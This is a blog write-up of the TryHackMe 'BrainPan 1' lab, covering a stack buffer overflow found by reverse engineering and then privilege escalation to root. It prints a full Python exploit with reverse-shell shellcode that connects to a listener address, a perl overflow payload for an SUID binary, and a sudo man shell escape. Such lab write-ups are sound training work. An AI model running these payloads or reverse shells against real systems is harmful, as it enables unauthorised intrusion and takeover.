[TryHackMe] BrainPan 1

So I was selected in one of the teams Sheridan is sending for cybersci and that meant I gotta prepare myself for the challenge, and what better way to do it than try a hard lab (I should have started with something easier, but atleast the pain was a learning experience).

This is my writeup for BrainPan 1, or as I like to call it Brain Pain.



So I begin the lab by doing a basic nmap scan of the host.


After a relatively quick scan, I found that two ports were open on the target machine, one which is running python SimpleHTTP server and another which isn't running any specific service.

The HTTP server on port:10000 was just one big page with

While the port:9999 service seems to just be sending raw data.


Since it obviously didn't allow for any input via browser I decided to examine the HTTP server first.

Running dirbuster for a few seconds revealed a `/bin/` directory to be present in the server.


I visited the directory in my browser to see what did it have and well it was housing the executable which I'm assuming was running on port:9999.

I downloaded the file and brought it to my Windows VM for further analysis.

IAT didn't give much information about what the binary might be doing aside from the fact that it creates a bind socket and listens on it.


File Headers for this PE did tell me that this is a 32-bit console application. This could very likely be running on a 32 bit OS given how old this lab is.


Looking at strings didn't tell anything new aside from showing the banner that the service was sending.


Tried doing a test run on the binary before diving into its internals, and it seems to be copying bytes from input to an arbitrary buffer.

Finding the main function was easy as the binary wasn't stripped of its symbols.

Inside main however, it declares the required strings.

The strings declared in var404h and var408h are interesting as they are used based on the result of the _get_reply() funtion.

Unfortunately it doesn't seem to do much other than print the respective message based on the input.

Looking inside _get_reply() there was a string comparision for "shitstorm".

The actually interesting part was the local variables that were defined, they would make up 12 bytes on the stack before the buffer. Since it is a 32-bit PE a pointer would be 4 bytes and undefined4 is Ghidra decompiler's definition of undefined chunk of 4 bytes, therefore 4 * 3 = 12.

Looking at the disassembly, I can see that the function sets up a stack frame of 536 bytes (0x218), which would make the buffer to be 524 bytes.

Another thing I found while looking at the disassembly was a very handy instruction for `jmp esp`.

This could a very good opening for getting code execution, but lets first test the findings out.

So I send a null terminated 524 byte stream of 'A's via a python script while running the executable attached to x32dbg.

And it did manage to corrupt the return address which can also be confirmed by actually just sending the string of 'A's to the hosted VM.

Well moving on, I confirmed how many bytes I need to overflow and have an address to jump to for getting code execution, all that is left is checking whether we can actually jump to the address we want.

Plugging the binary into Immunity and running `!mona modules` shows me that there are absolutely no memory protections on this binary which is very fortunate for me.

Now, onto the fun part, so as a preliminary test I just sent over a hybrid version of the shellcodes I made in my last two shellcoding posts for windows (find them here & here) since it already had winsock2 loaded which cut down on the bytes.

That ended up working wonderfully, and in light of this success I made a linux equivalent, which was considerably easier but no less interesting to do (I'll probably make a blog post about making linux shellcode later), I put that in a python script:

import socket
from time import sleep

target = input("Enter the target IP: ")
# listener = input("Enter the listener IP: ")

padding = b"A" * 524
addr = b"\xf3\x12\x17\x31"
shellcode = ""
shellcode += b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd"
shellcode += b"\x80\x92\xb0\x66\x68\x0a\x06\x14\xe5\x66\x68\x05\x39\x43\x66"
shellcode += b"\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59"
shellcode += b"\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52"
shellcode += b"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

# Create a socket object
try:
    sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except Exception as e:
    print("[-] Socket Creation Failed!")
    print(e)
    exit()

# Connect to the server
try:
    sck.connect((target, 9999))
    print("[+] Connected to target!")
except Exception as e:
    print("[-] Connection failed!")
    print(e)
    exit()

# Receive the banner
print("Recieved Banner: \n", sck.recv(1024).decode())

# Send the payload
print("[*] Have a Listener ready!")
sleep(5)    # Added cause I forgot to open a listener a bit too many times
print("[+] Sending payload!")
sck.send(padding + addr + shellcode)

So I gently send this over and the server kindly returns me a very pretty bad shell logged in as a fitting username of puck (I feel like they're trying to say something here).

I stabilize the shell and check the files in the directory and there happens to be one which is owned by root!

Unfortunately my happiness didn't last long as the file was mostly useless for me as it was a script for a cron job.

So I try `sudo -l` hoping for something positive and well the result was sort of positive.

I could execute the elf32 binary at `/home/anansi/bin/anansi_util`, which wasn't much of program as it did all the standard functions of ps, ifconfig and man but just with root privileges (In hindsight I should have paid more attention to it but eh).

Since I wasn't getting any satisfactory results yet I decide to just go through the whole file system looking for executables which have the SUID bit set. This did lead me somewhere very interesting.

As you can see, there is an odd program which doesn't come default with most Linux utilities. I dig in a bit more and it is a binary owned by 'anansi', the very user whose util file we can get root privileges on without any password.

I try to see what the executable does and it just seems to be a string validation program.

I export the binary to my machine to play around with it a bit more using the SimpleHTTP server present on the machine.

Looking at the disassembly of the executable, it parses input inside a function called 'validatewhich takes a char pointer to input string.

This function sets up a stack frame of 132 bytes, declares two char pointers, two integer variables and one char buffer of 100 bytes.

And after its done with the strcpy routine it loads the address of the destination buffer into eax and returns.

Another interesting discovery which could very well be exploited is this call eax instruction which I found very conveniently above the validate function.

Now since I couldn't be bothered to calculate the overflow bytes manually unlike last time, I just systematically narrow down the exact number of bytes I need to, which turned out to be 116 after like 4 tries.


Now there was a tiny issue, when I tried to use python to inject bytes with the actual address it introduced some garbage characters "0xC2" in the stack as python apparently loves to encode binary data in unicode and that gets appended as result of it.

I spent hours in confusion over this only to end up using perl as it use the raw binary without any further encoding.

I created a mini shellcode to do what shellcode was made to do, yes, I made it to spawn a bash shell!

Then I just had to go check my breakpoints and see if it works as intended. 

And the shellcode fit into the memory perfectly, I was so happy at this cause python kept giving me issues that made me cry.

Continuing execution for testing wouldn't have been necessary but I did it anyways.

Well that was a successful test, time to deploy!

The command didn't show up because the shell wasn't being very cooperative so here is what I used:

/usr/local/bin/validate `perl -e 'print "\x31\xc9\x89\xca\x89\xc8\xb0\x0b\x51\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "\x90"x93 . "\xaf\x84\x04\x08"'`

I get the effective UID of user 'anansi' and using that I overwrite the 'anansi_util' executable with /bin/bash to get me root access.

And now executing that application finally gives me the true power over system, i.e, root.

And with that, the box is solved!


P.S.> Another easier way to do this which I found later using gtfobins was doing `sudo man man` on anansi_util and then !/bin/bash from there, i.e.,
do `sudo /../anansi_util manual man` and then !/bin/bash from the page that opens.

I would say that my way was cooler B)


--------

Comments

Popular posts from this blog

Malware Analysis Report: Sample SmokeScreen